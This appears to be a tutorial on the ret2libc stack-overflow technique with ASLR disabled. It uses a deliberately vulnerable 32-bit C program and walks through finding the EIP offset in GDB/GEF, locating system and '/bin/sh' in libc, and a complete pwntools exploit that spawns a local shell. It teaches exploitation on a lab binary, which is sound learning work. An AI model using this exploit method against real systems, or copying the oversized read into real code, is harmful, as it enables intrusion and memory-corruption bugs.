Prerequisite:
As the name says, ret2libc
which means, this technique involves code reusual from the dynamically linked file libc.so.6
, since most of the binary is dynamically linked, all the functions which are predefined, for example strcmp
, puts
, printf
, gets
etc. are stored in the libc.so.6
, when you dynamically link an ELF file, these functions are stored in a section named as .got.plt
which contains the GOT
address, which is the address which imports the addresses of function in the runtime. Since, this section is about how to do ret2libc
when ASLR
is disabled. It is simple from what you have been doing in stack overflow with a ret2func
technique. In ret2win
payload looks like:
----------------------------------------------------
| padding to EIP | address of the win function |
----------------------------------------------------
In ret2libc
technique, our payload looks like:-
--------------------------------------------------------------------------
| padding to EIP | function from libc.so.6 | dummy ret | args1.....argsN |
--------------------------------------------------------------------------
Where N
being the number of arguments a function takes.
Now, let’s take a binary and see how to use ret2libc
:-
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int vulnerable() {
printf("> ");
fflush(stdout);
char buffer[128];
read(STDIN_FILENO, &buffer[0], 512);
}
int main(int argc, char** argv) {
vulnerable();
return EXIT_SUCCESS;
}```
Compiling it with:
```r
d4mianwayne@oracle:/tmp/train$ gcc m32 -fno-stack-protector -no-pie ret2libc.c -o ret2libc
d4mianwayne@oracle:/tmp/train$ ./ret2libc
> lol
d4mianwayne@oracle:/tmp/train$ checksec ret2libc
[*] '/tmp/train/ret2libc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
NX Enabled
which means we can’t just throw in the shellcode and make it executable, hence spawning a shell. Disabling the ASLR
:-
d4mianwayne@oracle:/tmp/train$ cat /proc/sys/kernel/randomize_va_space
2
d4mianwayne@oracle:/tmp/train$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
[sudo] password for d4mianwayne:
0
d4mianwayne@oracle:/tmp/train$ cat /proc/sys/kernel/randomize_va_space
0
EIP
Now, everything is good, let’s check the offset for EIP:-
warning: ~/.gdbinit.local: No such file or directory
Reading symbols from ret2libc...(no debugging symbols found)...done.
GEF for linux ready, type `gef' to start, `gef config' to configure
78 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6
[*] 2 commands could not be loaded, run `gef missing` to know why.
gef➤ pattern create 200
[+] Generating a pattern of 200 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
[+] Saved as '$_gef0'
gef➤ r
Starting program: /tmp/train/ret2libc
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Program received signal SIGSEGV, Segmentation fault.
-- snip --
$eip : 0x6261616b ("kaab"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffceb0│+0x0000: "laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxa[...]" ← $esp
0xffffceb4│+0x0004: "maabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabya[...]"
0xffffceb8│+0x0008: "naaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n[...]"
0xffffcebc│+0x000c: 0x6261616f
0xffffcec0│+0x0010: 0x62616170
0xffffcec4│+0x0014: 0x62616171
0xffffcec8│+0x0018: 0x62616172
0xffffcecc│+0x001c: 0x62616173
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x6261616b
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2libc", stopped 0x6261616b in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x6261616b in ?? ()
gef➤ pattern search 0x6261616b
[+] Searching '0x6261616b'
[+] Found at offset 140 (little-endian search) likely
system
and /bin/sh
The offset for EIP
Is 140. Now, let’s see how our payload is going to be, since we basically want to do system("/bin/sh")
, all we have to do is get the address of system
and /bin/sh
.
Let’s find out the address:-
✘ d4mianwayne@oracle /tmp/train ldd ret2libc
linux-gate.so.1 (0xf7fd5000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dd5000)
/lib/ld-linux.so.2 (0xf7fd6000)
d4mianwayne@oracle /tmp/train strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
17e0cf /bin/sh
This is the offset of the string /bin/sh
in libc.so.6
, and ASLR is disabled, so the base address of libc.so.6
is 0xf7dd5000
. Then the address of system
would be and /bin/sh
would be-
gef➤ p 0xf7dd5000 + 0x17e0cf
$1 = 0xf7f530cf
gef➤ x/s 0xf7f530cf
0xf7f530cf: "/bin/sh"
gef➤ p system
$2 = {int (const char *)} 0xf7e12200 <__libc_system>
gef➤
Payload would be:-
------------------------------------------------------
| "A"*140 | system_addr + dummy_ret + /bin/sh address|
------------------------------------------------------
Note:
dummy_ret
could be0xdeadbeef
orret;
Now, let’s make an exploit and run it:-
from pwn import *
p = process("./ret2libc")
bin_sh = 0xf7f530cf
system_addr = 0xf7e12200
payload = b"A"*140
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(bin_sh)
p.sendlineafter(b"> ", payload)
p.interactive()
Running the exploit:-
d4mianwayne@oracle /tmp/train python3 ret2libc.py
[+] Starting local process './ret2libc': pid 9167
[*] Switching to interactive mode
$ ls
ret2libc ret2libc.c ret2libc.py
$
[*] Interrupted
Next up is: ASLR enabled ret2libc
attack.